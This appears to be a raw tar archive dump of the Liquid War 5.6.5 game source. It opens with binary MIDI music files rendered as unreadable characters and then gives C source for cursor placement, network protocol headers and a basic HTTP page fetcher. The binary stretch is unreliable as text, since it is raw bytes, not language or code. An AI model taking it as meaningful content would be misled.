vqjlz|npjBDbXZf\vghnlndT..tVTgRTNTj`gZ<1nYT&Z2,F5969!2J$rtrlF63ZNPZFB&:*#F><jlsRU**)R.+ B><@*$bbl,T>4gNK,"jZT ""K*#4*${bZ8"K6,6S6)$ |jjrjt@6<-"&TFM5*.+ ,`64_FM?*,T>?S66B>F&"&hZ_`NU7"%L>EL66$obg7jg#\.,K*- ,z|lFFtZYjd:.*F.+nRJF"bd:.4F.4F"'nRTliquidwar-5.6.5/data/music/0000775000372000037200000000000013407756104015172 5ustar travistravisliquidwar-5.6.5/data/music/fodder.mid0000664000372000037200000002006413407756104017132 0ustar travistravisMThdxMTrkLXYQ ' X8XQ D`X X Q /MTrk!guitard<&d+d+&&d+d<+&d<&d+d+&&d+d<+&d<-d<-.d<.)d<)-d<-.d<.)d<)-d<-+d<+)d<)d<&d+d+&&d+d<+&d<&d+d+&&d+d<+&d<-d<-.d<.)d<)-d<-.d<.)d<)7d77d<75d<57dx77d72d2+d+.d.-d-)d)+d<+7d77d<75d<5>dp>7dx7x>dp>7d7:d::d:5d59d<95d<57d7R7d7:d::d:9d99d95d57d7R7d7:d::d:9d99d95d5CdCRCdCFdFFdFEdEAdAEdEAdA7d9d:d>dCdhC:79>xCdCFdFFdFFdFEdEAdAEdEAdACdCZCdCFdFFdFFdFEdEJdJMdMHdHJdd<>((d<($d4d$$d$4(d<(p7d0d2d<207<-d--d--d--d-$d<$4$d<$<$d<$*d*$d<$$d<$$d<$$d$$d$$d$(d($d$<4d7d74Z$d<$$d<$$d<$$d$$d$$d$(d<(+d<+(d((d((d()d<),d#d<#,,d#d<#,,d(d<(,,d#d#(d(,,d$d$,,d(d(,$d$*d#d<#*8d#d8#8d(d8(#d#(d(8d#d#8(d(8d#d#8*d#d<#*,d#d<#,.d(d<(.,d#d#(d(,,d$d$,,d(d(,$d$$dx$$d<$#d<#.d#d<#.(d<($d.d$$d$.(d((d(&d&#d##d#&d&#d##d#.d#d<#.(d<($d.d$$d$.(d((d(&d&#d##d#&d&#d##d#.d#d<#.(d<($d.d$$d$.(d((d(&d&#d##d#&d&#d##d#.d#d<#.(d<($d.d$$d$.(d((d(&d&#d##d#&d&#d##d#4)d))d)4d9dx94x/dd$d>$<d$d$>Cd$d$CdCdC>>dCdC>>dCdxC>p+dx++dx+,dx,+dx++dx++dx+,dx,+dx++d<+.d<.-d<-)d<),d<,+d<+)d<)+d<+,d<,'d<'$d<$'d<',d<,<.d<.<+d<+.d<.-d<-)d<),d<,+d<+)d<)+d<+,d<,'d<'$d<$'d<',d<,<.d<.|+d<+.d..d..d.)d)-d-)d)-d-)d)-d-)d).d.0d02d2+d+<2d2+d+<+d<+.d..d..d.)d)-d-)d)-d-)d)-d-)d).d.0d02d2+d+<2d2+d+<+d<+.d..d..d.)d)-d-)d)-d-)d)-d-)d).d.0d02d2+d+<2d2+d+<+d<+.d..d..d.)d)-d-)d)-d-)d)-d-)d).d.0d02d2+d+<2d2+d+<+d<+.d..d..d.)d)-d-)d)-d-)d)-d-)d).d.0d02d2+d+<2d2+d+<+d<+.d..d..d.)d)-d-)d)-d-)d)-d-)d).d.0d02d2+d+<2d2+d+/MTrk!strings2XVdQdNd>dp>VQNx6dx6>dx><>d>>d>7d<72d27d7:d:>dNdQdVd4>>d<>VQNBdxBEdxECdC>d>;d;>d>CddBdEdJdxJ>BEJd>d>J>dJdJ>Jd>d>JCdOddBdEdJdxJ>BE>d>BdBEdEKd4KJdJHdHJdxJ>d>ZBdBZEdEZ5d;d>dCdx57dh7C>;d$d$>7>d&d>&&d<&>d$d$>>d&d&>7d$d$&d&7*d$d$$d$*/d&d&//d&d&/*d(d((d(*7d$d<$7<d$d$>7>d&d>&&d<&>d$d$>>d&d&>7d$d$&d&7*d$d$$d$*/d&d&//d&d&/*d(d((d(*7d$d<$7<d>@d-@4d4-4d4-4d4>d >@d2@4d4>d>=d=>d>=d=>d>=d=>d>@d-@4d4-4d4-4d4@d @2@d@>d>@d@CdZCGdZGGdGCd CEdECdCEdEGdGCdd>;d@dp@;pGdGREdEGdG4JdAdACdCGdGEdEJdJHdHLdLHdHZHdHHdHd >@d-@@d@@d@@d@@d@@d&d+d @Cd-+&;dd#dC7;#d&d&#d(d(##d(d(##d(d(##d(d(#!d&d!&d#d<#+d+-d--d--d--d-+d<+(d<(4d42d20d02d20d02d24d47d7-d<-+d++d++d+-d<-+d++d++d+0d00d00d0+d++d++d++d+-dx->9d0d+d&d2d2+90&2d2+d+4d1d-d)d)41-.d.4d44d+d0d0+45d56d0d(d(067d7/d5d7d8d;dx;7/58p+d+-d--d--d--d-+d<+(d<(d&d&#d(d(##d(d(##d(d(##d(d(#!d&d!&d#d<#!d&d&!#d(d(#>d >@d-@@d@@d@@d@@d@@d&d+d @Cd-+&;dd#dC7;#d&d&#d(d(##d(d(##d(d(##d(d(#!d&d!&d#d<#+d+-d--d--d--d-+d<+(d<(+d+-d--d--d--d-4d4-d-3d<32d<20d<0-d--d--d--d--d--d--d--d--d--d--d--d--d--d--d--d--d-Z(d((d((d((d((d((d((d((d((d((d((d((d((d((d((d((d((d(Z-d--d--d--d--d--d--d--d--d--d--d--d--d--d--d--d--d-Z(d((d((d((d((d((d((d((d()d))d)(d((d(&d&&d&(d((d()d))d)(d(<-d d!dh -,d;d&d0d5d5,;&0Dd5d/d;d;5/D!d0d54d40>2d@d27d7@Ad-d-A/MTrk!glock RdxRxQdxQTOdOQdxQEdHdLdQdxQEHLxAdEdHdMdxMAEHxTdTSdSPdPQdQxTdTSdSPdPQdQxTdTSdSPdPQdQxRdROdORdRRdRQdQd><>d><>d>4Idd><>d><=d=<@d@>d>d<>Jdd>@d@AdA<@d@AdACdCREdECdCAdAd<>Add<>d<>d<>@dx@;dx;;dx;;d<;>d<>@dx@;dx;;dx;@dx@AdxAdZ>AdA@dx@@d<@@d@@d@>d<>Add<>@d@>d>@d@AdgA@dhi jk@@d@mn @dop@@d q@-drs7tu---d-+dv +-d-.d.-d--d--d--d--d-)dx)-d-+d+-d-.d.-d--d-5dx53dx3QdpPdpPQ/MTrk!Drummagen`(d($d$$d$(d<(`(d($d$$d$(d(~(d($d$$d$(d<(h(d($d$$d$(d((d((d($d$(d((d(5d(d<(5<)d<)<5d(d<(5<)d<)<(d<(<)d<))d<)(d((d($d$$d$(d((d((d(5d(d<(5<)d<)<5d(d<(5<)d<)-d-)d)$d.dx.$(d.dx.($d.d<$$d$$d$.(d.d<(<.$d.dx.$(d.dx.($d.d<$$d$$d$.(d.d<()d-d-))d-d-).$d<$,d<,$d<$,d<,$d.d<$$d$$d$.(d.d<()d-d-))d-d-).$d.dx.$(d.dx.($d.d<$$d$$d$.(d.d<()d-d-))d-d-).$d.dx.$(d.d<((d((d(.(d.d((d((d(-d-.-d.d--d-+d+)d).,d<,*d<*,d<,*d<*,d<,*d<*,d<,*d<*,d<,*d<*,d<,*d<*4Z<$d4dx4$$d$dZ$$d$$$d<*d<*$(d((d(/d//d/$d4dx4$$dZ$$d$$d<*d<*$(d((d(/d//d/@$d.d<.$<&d<&$d$.d$d<$.$d<$(d($d$<$d.d<.$<&d<&$d$$d$&d(d(&(d($d$&d&$d$+d-d-+#d)d)#@0d0/d/-d-/d/0d0Z0d00d02d2/d/-d-/d/2d27d#d7#<7d&d&7Z7d#d#7#d##d#&d7d7&Z7d#d7#<7d&d&7Z7d#d#7#d##d#&d7d7&Z7d#d7#<7d&d&7Z7d#d#7#d##d#&d7d7&Z$d$$d$$d$$d$(d($d$#d#$d$&d&$d$&d&&d&$d$&d&&d&(d($d$&d&&d&$d$&d&$d$&d&&d&<$d$#d+d0d4d7d70#+4/MTrk[! Guitareagex`MdxM/MTrk!Drumosx4d7d(d(74$d$(d($d$(d($d$5d(d($d$5(d($d$(d($d$4d7d(d(74$d$(d($d$(d($d$5d(d($d$5(d($d$(d($d$(d4d7d74($d$(d($d$(d($d$5d(d($d$5(d($d$(d($d$0d0-d-,d,/d/+d+,d,4d7d(d(74$d$(d($d$(d($d$(d($d$(d($d$(d($d$4d7d(d(74$d$(d($d$(d($d$(d($d$(d($d$(d($d$(d4d7d74($d$(d($d$(d($d$(d($d$(d($d$(d($d$+d+/d/,d,-d-0d0,d,#d4d(d(4#<&d&<$d0d0$#d##d#$d$#d#0d#d 0/d +d/+#4d&d&4<$d$<$d$<$d$<#d4d(d(4#<&d&<$d0d0$#d##d#$d$#d#0d#d 0/d/ +d +#)d)+d+-d-+d+-d-/d/-d-/d/0d02d 22d 22d 22d 22d 22d 22d 22d 22d 2@l$d4dx4$x$dx$&d$d(&+d(+)d()$$d4dx4$&dx&5dx5x$d4dx4$x$dx$x$dx$&d/d(/-d&-+d(+$d<$<$d<$<$dx$$dx$$dx$x$d<$$d<$x$dx$(d$d<(<$$dx$x&dx&x$dx$<(d<((d<(&d<&-d<-+d<+@4dx7d(d(74$d$(d($d$(d($d$(d($d$(d($d$(d($d$4d7d(d(74$d$(d($d$(d($d$(d($d$(d($d$(d($d$(d4d7d74($d$(d($d$(d($d$(d($d$(d($d$(d($d$0d0-d-,d,/d/+d+,d,4d7d(d(74$d$(d($d$(d($d$(d($d$(d($d$(d($d$4d7d(d(74$d$(d($d$(d($d$(d($d$(d($d$(d($d$(d4d7d74($d$(d($d$(d($d$(d($d$(d($d$(d($d$+d+/d/,d,-d-0d0,d,#d4d(d(4#<&d&<$d0d0$#d##d#$d$#d#0d#d 0/d +d/+#4d&d&4<$d$<$d$<$d$<#d4d(d(4#<&d&<$d0d0$#d##d#$d$#d#0d#d 0/d/ +d +#)d)+d+-d-+d+-d-/d/-d-/d/0d02d 22d 22d 22d 22d 22d 22d 22d 22d 2hl$d.d<.$<&d<&&d<&&d<&&d<&$d.d<.$<&d<&<&d<&<$d.d<.$<&d<&&d<&&d<&&d<&$d.d<.$<&d<&<&d<&<$d.d<.$<&d<&&d<&&d<&&d<&$d.d<.$<&d<&<&d<&<$d.d<.$<&d<&&d<&&d<&&d<&$d.d<.$<(d0d(0/d(/-d(-&d/d(/-d&-+d(+$d.d<.$<&d<&&d<&&d<&&d<&$d.d<.$<&d<&<&d<&<$d.d<.$<&d<&&d<&&d<&&d<&$d.d<.$<(d0d(0/d(/-d(-&d/d(/-d&-+d(+$d4d<4$<(d<(<(d(((d(((d((@d&d<&<)d<)<$d.d<.$<&d<&<&d<&<$d.d<.$<0d(0/d(/-d(-/d/-d-$d.d<.$<&d<&<&d<&<$d.d<.$<0d(0/d(/-d(-/ddx>4d9d<94<9d9 9d9 9d9 9d94d49d9d(>>d(>>d(>@d(@@d(@@d(@4d(44d(44d(48d(88d(88d(8;d(;;d(;;d(;AdhA@d<@>d<>@dh@x8dAdhA8@d<@>d<>@d<4d448dx8@;dx;Adx4d<4<4d<4d<>@dx@4dx48dx8;dx;4d>dh>44dd<4<4dp4>4ddp>2p+dh++d<+*d<*+d<+*d<*+d<+*d<*+d<+,d<,+d<+)d<)+dx+d<<d<<dp*dx*+d<+)d<)+d<+)d<)+d<+)d<)2d<20d<0&d<&&d<&*d<*-d<-+dx+d<<d<<dp*dx*+dx+d<<d<<>d<>9d<96d<62d<26d<69d<9?dx?>d<>4?dx?>d<>42d<22d<22d<22d<22d<22d<26d<62d<22d<22d<26d<69d<9?dx?>d<>4?d(?2d(22d(26d(69d(96d(67d<7<2dx22dx22dx26dx69dx96dx67dx7+d<++d<++d<++d<++d<+,7d77d77d77d77d77d77d77d77d77d7+d++d+2d22d22d22d22d22d2+d++d++d++d++d++d+7d77d77d77d77d77d77d77d77d77d7:d::d:9d99d99d99d99d99d9>d>>d>>d>>d>>d>>d>7d77d77d77d77d77d77d77d77d77d7+d++d+.d..d..d..d..d..d.+d++d++d++d++d++d++d++d++d++d+.d..d.-d--d--d--d-)d))d)+d++d++d++d++d++d++d++d++d++d++d++d+.dZ.-d<-)d)+dZ++dP+ .dP. -d<-)d)+d+7d77d7+dZ+.dZ.-d<-)d)+d<+x+d+.d..d.-d<-)d)&d+dx+&,+dx+.dx.-dx-)dx)+dp+/MTrk?!Trumpet8<9dEdE9Z@d(@@d(@@d(@AdxA@dx@@dGdG@Z@d(@@d(@@d(@AdxA@dx@9dx9pAdd<>;dp;9dp9x@d(@@d(@@d(@JdxJHddCd;<;d>dCd;<9d<9<>dBdEd<>dBdEd<;d<;d<><>d(>>d(>>d(>>dx>pHdd>>d>>d>>d>>dp>>dx>CdhC7dh7@Od(OMd(MLd(LJd(JLd(LMd(MOdd<>;<;d>d<>;$>d<><@d<@>d<>dCd;<;d>dCd;<>dJdBdHddJdHddHdxH>dHdxH>d>dx>Eddx>?ddxBdxB>xdxBdxB>EdxEDdxD>dp>BdxBEdxEHCdFdpFCAdEdpEA@dCdpC@>dHdxH>dHdxH>d>dp>AdxA@dx@EdpECdxCDdxDEdpE0CdFdpFCAdEdpEA@dCdpC@>dHdxH>dHdxH>dxBdxBEdpE>FdxCdxCFEdx>dx>EFdxCdxCFEdx>dx>E=dpCdxCFdxF=>dEd`E>/MTrkB!Voice<x$CdCEdEFdd4>4>d>HdHJd(JHdHEdECdCEdEHdHCdCAdA>d>HdMdMHHdLdLH>d>HdHJd-JHdHEdECdCEdEHdHCdCAdA>dx>x>dJd@d @Ad A >d >Edd->@d@AdA>d>=d<=<>d>HdHEdECdCEdEHdHCdCAdA>d>HdMdMHHdLdLHZJdJHdHEdECdCEdEHdHCdCAdA>d>dx>EdEHdHEdECdCHdHd<>ZMdMLdLJdJHdHLdLHdHCdCAdA@d@AdACdCJdJSdS-SdSSd SSd SSd SSd SSd STdxT,CdCEdEFdd4>p>dp>HdpHJd(JHdHEdECdCEdEHdHCdCAdA>d>HdMdMHHdLdLH>d>HdHJd-JHdHEdECdCEdEHdHCdCAdA>dx>CdCEdEFdd4>/MTrk :! Power kitAp*d<**d<**d&d<&**d<*$d<$4$d<$<$d<$<4d<4$d<$$d<$$d<$$d5d<5$<$d<$<.d$d$.(d*d*($d*d*$(d*d*(.d#d#.(d*d*(#d*d*#*d(d(*#d.d.#(d*d*(#d.d.#(d*d*(#d.d.#(d ((d ((d (#d(d(#-d(d(-.d$d$.(d*d*($d*d*$(d*d*(.d#d#.(d*d*(#d*d*#*d(d(*#d.d.#(d*d*(#d.d.#(d*d*(#d.d.#(d ((d ((d (#d(d(#-d(d(-$d.d.$(d((d((d((d(.d$d$.(d($d.d.$&d&$d.d.$(d((d((d((d($d.d.$(d($d.d.$&d&$d.d.$(d(*d$d$*(d($d.d.$(d((d(&d&(d((d((d($d.d.$(d($d.d.$(d($d.d.$(d((d((d((d((d((d($d.d.$(d((d((d$d((d($(d((d($d.d.$(d((d((d((d((d((d($d.d.$(d((d($d.d.$(d((d($d.d.$(d((d((d((d((d((d($d.d4d4.$(d((d((d((d((d((d(.d$d$.(d(.d&d&.x$d7d<7$<$d7d7$7d$d$7$d7d7$$d$$d $$d $$d $(d($d$&d4d4&R7d4d(dx(47x$d$*d**d* #include #include "army.h" #include "grad.h" #include "cursor.h" #include "mesh.h" #include "palette.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /* * globals holding all the cursors of the game * I first wanted to have several cursors per team, for LW's * core algorithm can handle that easily, but I gave up since * it would have represented too much work with cursor & teams * associations and also with the GUI */ CURSOR CURRENT_CURSOR[NB_TEAMS]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * inactivate all cursors */ void reset_all_cursor (void) { int i; for (i = 0; i < NB_TEAMS; ++i) { memset (&(CURRENT_CURSOR[i]), 0, sizeof (CURSOR)); } } /*------------------------------------------------------------------*/ /* * initialization of a cursor, done at each new game */ static void init_cursor (int index, int team, int x, int y, char *name) { /* * we activate the cursor and set up user parameters */ CURRENT_CURSOR[index].active = 1; CURRENT_CURSOR[index].team = team; CURRENT_CURSOR[index].x = x; CURRENT_CURSOR[index].y = y; /* * the following line reveals an important point of LW's algorithm * at game start, one has to set up the value of the cursor with * a great value, since it will be decremented at each game cycle. * the reason is the following: * on one hand, since I move my cursor of let's say * 1 pixel, I can not assume that the points on the map have kept * the same distance with the cursor. In the worst case, any point * on the map is 1 pixel farer from the cursor than before. I could * increment the distance of every single point of the map, but it * goes much faster just to decrement the value of the cursor 8-D * on the other hand, the value must be a lot smaller than the value * we have initialized the whole map with, since by default we have * no idea of how far the points are, so we must consider they are * "very" far * so that's why I use AREA_START_GRADIENT/2 */ CURRENT_CURSOR[index].val = AREA_START_GRADIENT / 2; /* * default values... */ CURRENT_CURSOR[index].loose_time = -1; CURRENT_CURSOR[index].score_order = 0; /* * the colors allocated for fighters start at 128 in the palette * and the COLORS_PER_TEAM value gives how much color per team * are available */ CURRENT_CURSOR[index].color_entry = 128 + team * COLORS_PER_TEAM; /* * Now we set up the cursor name */ strncpy (CURRENT_CURSOR[index].name, name, NAME_SIZE); CURRENT_CURSOR[index].name[NAME_SIZE] = '\0'; } /*------------------------------------------------------------------*/ /* * this is where the cursor is "blitted" on the map, algorythmically * speaking, ie the map acknowledges the position of the cursor */ void apply_all_cursor (void) { int i, x, y; MESH *temp; /* * loop for all the active cursors */ for (i = 0; i < NB_TEAMS; ++i) if (CURRENT_CURSOR[i].active) { /* * x and y hold the position of the cursor */ x = CURRENT_CURSOR[i].x; y = CURRENT_CURSOR[i].y; /* * sanity check, in case the cursor is not on a valid part * of the map. It should not happen but I hate protection * faults! */ if ((temp = CURRENT_AREA[y * CURRENT_AREA_W + x].mesh) != NULL) /* * we just poke the value of the cursor into its * corresponding position in the map * very simple, eh? */ temp->info[CURRENT_CURSOR[i].team].state.grad = CURRENT_CURSOR[i].val; } } /*------------------------------------------------------------------*/ /* * the purpose of this function is to place the cursor automatically * on the map, knowing that we can give a fixed position for each * team since all maps are potentially different. */ void auto_cursor (int index, int team, char *name) { int i, x, y, x_min, x_max, y_min, y_max, ok, x0, y0, n; x = y = n = 0; /* * loop for all the fighters of all teams */ for (i = 0; i < CURRENT_ARMY_SIZE; ++i) /* * we exclude fighters who do not belong to the team we want */ if (CURRENT_ARMY[i].team == team) { /* * the following totals will be used to get the center * of all the fighters belonging to this army * of course it implies fighters have been placed */ x += CURRENT_ARMY[i].x; y += CURRENT_ARMY[i].y; n++; } /* * x0 and y0 should now be right in the middle of our fichters */ x0 = x_max = x_min = (x /= n); y0 = y_max = y_min = (y /= n); ok = 0; /* * loop as long as no correct position has been found * we can't admit a random placing for network consideration, so we follow * "spiral" arround a default position and chose the first working * position (ie without a wall) * the starting point of the spiral is x0,y0 */ while (!ok) { /* * try and find a good spot going right */ for (x = x_min; x <= x_max && !ok; ++x) if (CURRENT_AREA[y * CURRENT_AREA_W + x].mesh != NULL) { ok = 1; x0 = x; y0 = y; } /* * if we did not touch the right side yet, let's increase the limit */ if (x_max < CURRENT_AREA_W - 1) ++x_max; /* * try and find a good spot going down */ for (y = y_min; y <= y_max && !ok; ++y) if (CURRENT_AREA[y * CURRENT_AREA_W + x].mesh != NULL) { ok = 1; x0 = x; y0 = y; } /* * if we did not touch the bottom side yet, let's increase the limit */ if (y_max < CURRENT_AREA_H - 1) ++y_max; /* * try and find a good spot going left */ for (x = x_max; x >= x_min && !ok; --x) if (CURRENT_AREA[y * CURRENT_AREA_W + x].mesh != NULL) { ok = 1; x0 = x; y0 = y; } /* * if we did not touch the left side yet, let's decrease the limit */ if (x_min > 0) --x_min; /* * try and find a good spot going up */ for (y = y_max; y >= y_min && !ok; --y) if (CURRENT_AREA[y * CURRENT_AREA_W + x].mesh != NULL) { ok = 1; x0 = x; y0 = y; } /* * if we did not touch the top side yet, let's decrease the limit */ if (y_min > 0) --y_min; } init_cursor (index, team, x0, y0, name); } liquidwar-5.6.5/src/protocol.h0000664000372000037200000001333013407756104015742 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : protocol.h */ /* content : messages sent by the client when connecting */ /* last update : April 16th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PROTOCOL #define LIQUID_WAR_INCLUDE_PROTOCOL /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "network.h" #include "startinf.h" #include "chat.h" /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ /* * IMPORTANT: there's one good reason sock is passed as a pointer * in all these functions. In fact, the code uses constructs like * *(data->sock) = 0 (mostly in connect.c) to intercept network * calls, stop them, and treat GUI stuff and network code in * separate threads. Previous releases of LW (< 5.6.3) didn't do * that, but the bug appeared when trying to release 5.6.3 with * Allegro 4.2 and GCC 4. This is an ugly hack, but hopefully works.. */ int lw_protocol_do_ping (int *sock); int lw_protocol_tell_version (int *sock, char *version); int lw_protocol_tell_program (int *sock, char *program); int lw_protocol_tell_password (int *sock, char *password); int lw_protocol_ask_free_teams (int *sock, int *nb); int lw_protocol_reserve_team (int *sock, int num, int control_type, char *name); int lw_protocol_ask_who (int *sock, int num, LW_WHO * who); int lw_protocol_send_map (int *sock, void *map); int lw_protocol_recv_map (int *sock, void **map); int lw_protocol_send_config (int *sock); int lw_protocol_recv_config (int *sock); int lw_protocol_i_am_ready (int *sock); int lw_protocol_waiting (int *sock, int *waited_teams); int lw_protocol_force_start (int *sock); int lw_protocol_next (int *sock); int lw_protocol_ask_teamstartinfo (int *sock, int team, LW_TEAMSTARTINFO * team_start_info); int lw_protocol_chat_talk (int *sock, char *text); int lw_protocol_chat_listen (int *sock, LW_CHAT_HISTORY * chat_history); int lw_protocol_quit (int *sock); #endif liquidwar-5.6.5/src/connect.h0000664000372000037200000000763313407756104015543 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : connect.h */ /* contenu : connect menu, the list of connected players */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CONNECT #define LIQUID_WAR_INCLUDE_CONNECT /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_connect_menu (int sock); #endif liquidwar-5.6.5/src/httputil.c0000664000372000037200000002522413407756104015756 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : httputil.c */ /* content : low level functions to handle http requests */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include #include "httputil.h" #include "dnsutil.h" #include "log.h" #include "sockgen.h" #include "sock2gen.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_HTTPUTIL_PORT 80 #define LW_HTTPUTIL_HOST_PORT_SIZE 200 #define LW_HTTPUTIL_REQUEST_SIZE 1000 #define LW_HTTPUTIL_EMPTY_LINES_LIMIT 10 #define LW_HTTPUTIL_MIN_LEN 1 #define LW_HTTPUTIL_GET_CMD \ "GET http://%s HTTP/1.1\x0d\x0a" \ "Host: %s\x0d\x0a" \ "Connection: close\x0d\x0a" /* additional CR+LF supplied by lw_sock_send_str() */ /* * Note: I replaced the original "\x0d\x0a" that where in the * patch by the equivalent "\r\n". I find it more readable, * that's all 8-) But... ...Roderick Schertler told me that * it was safer to use "\x0d\x0a" for the values for "\r" or * "\n" are up to the compiler, and might cause problems * especially on Mac platforms. */ /*==================================================================*/ /* static functions */ /*==================================================================*/ /*==================================================================*/ /* global functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Sends a request and waits for a response. * If there's an error, the error message is written in "content". * If there's no error, "content" contains the web page. */ int lw_httputil_get_page (char *content, char *url, int size) { int result = 0; char ip[LW_SOCK_IP_SIZE]; char host_port[LW_HTTPUTIL_HOST_PORT_SIZE + 1]; char host_only[LW_HTTPUTIL_HOST_PORT_SIZE + 1]; char request[LW_HTTPUTIL_REQUEST_SIZE + 1]; char data[LW_SOCK_MESSAGE_SIZE]; int data_len; char *search; int sock; int empty_lines = 0; int port = LW_HTTPUTIL_PORT; memset (content, 0, size); LW_MACRO_STRCPY (host_port, url); search = strchr (host_port, '/'); if (search) { (*search) = '\0'; } search = NULL; memcpy (host_only, host_port, LW_HTTPUTIL_HOST_PORT_SIZE + 1); search = strchr (host_only, ':'); if (search) { (*search) = '\0'; port = atoi (search + 1); if (port < 1 || port > 65535) { port = LW_HTTPUTIL_PORT; } } search = NULL; LW_MACRO_SPRINTF2 (request, LW_HTTPUTIL_GET_CMD, url, host_only); if (lw_dnsutil_name_to_ip (ip, host_only)) { if (lw_sock_connect (&sock, ip, port)) { if (lw_sock_send_str (&sock, request)) { result = 1; /* read status line */ if (result && lw_sock_recv_str (&sock, data) != 1) { result = 0; LW_MACRO_SNPRINTF0 (content, size, "Failed to read status line"); } /* make sure status code starts with 2 */ if (result && !((search = strchr (data, ' ')) && search[1] == '2')) { result = 0; LW_MACRO_SNPRINTF2 (content, size, "Failure from web server \"%s\": \"%s\"", host_port, data); } if (result) { /* skip past headers */ while ((result = (result && (lw_sock_recv_str (&sock, data) == 1))) && data[0]) { /* nothing to do here */ } if (result) { /* finally, we read the list of servers */ while (lw_sock_recv_str (&sock, data) == 1 && empty_lines < LW_HTTPUTIL_EMPTY_LINES_LIMIT) { data_len = strlen (data); /* * If the line is too short, we ignore it, * in fact, we get many "too short" lines * such as the size of the file for instance, * which is shown as an hex number in HTTP 1.1 * * No "usefull" line should be smaller than * LW_HTTPUTIL_MIN_LEN however. */ if (data_len > LW_HTTPUTIL_MIN_LEN) { if ((int) (strlen (content) + data_len) < size - 2) { LW_MACRO_STRNCAT (content, data, size); LW_MACRO_STRNCAT (content, "\n", size); } } if (data_len == 0) { empty_lines++; } } } else { LW_MACRO_SNPRINTF0 (content, size, "Failed to read headers"); } } } else { LW_MACRO_SNPRINTF1 (content, size, "Request \"%s\" failed!", request); } lw_sock_close (&sock); } else { LW_MACRO_SNPRINTF1 (content, size, "Can't connect to \"%s\"!", ip); } } else { LW_MACRO_SNPRINTF1 (content, size, "Unable to find host \"%s\"!", host_only); } return result; } /*------------------------------------------------------------------*/ /* * Transforms a text into an URL compatible parameter, ie * " " becomes "%20" for instance. * urlparam must be a buffer of size+1 characters * Note that "_" 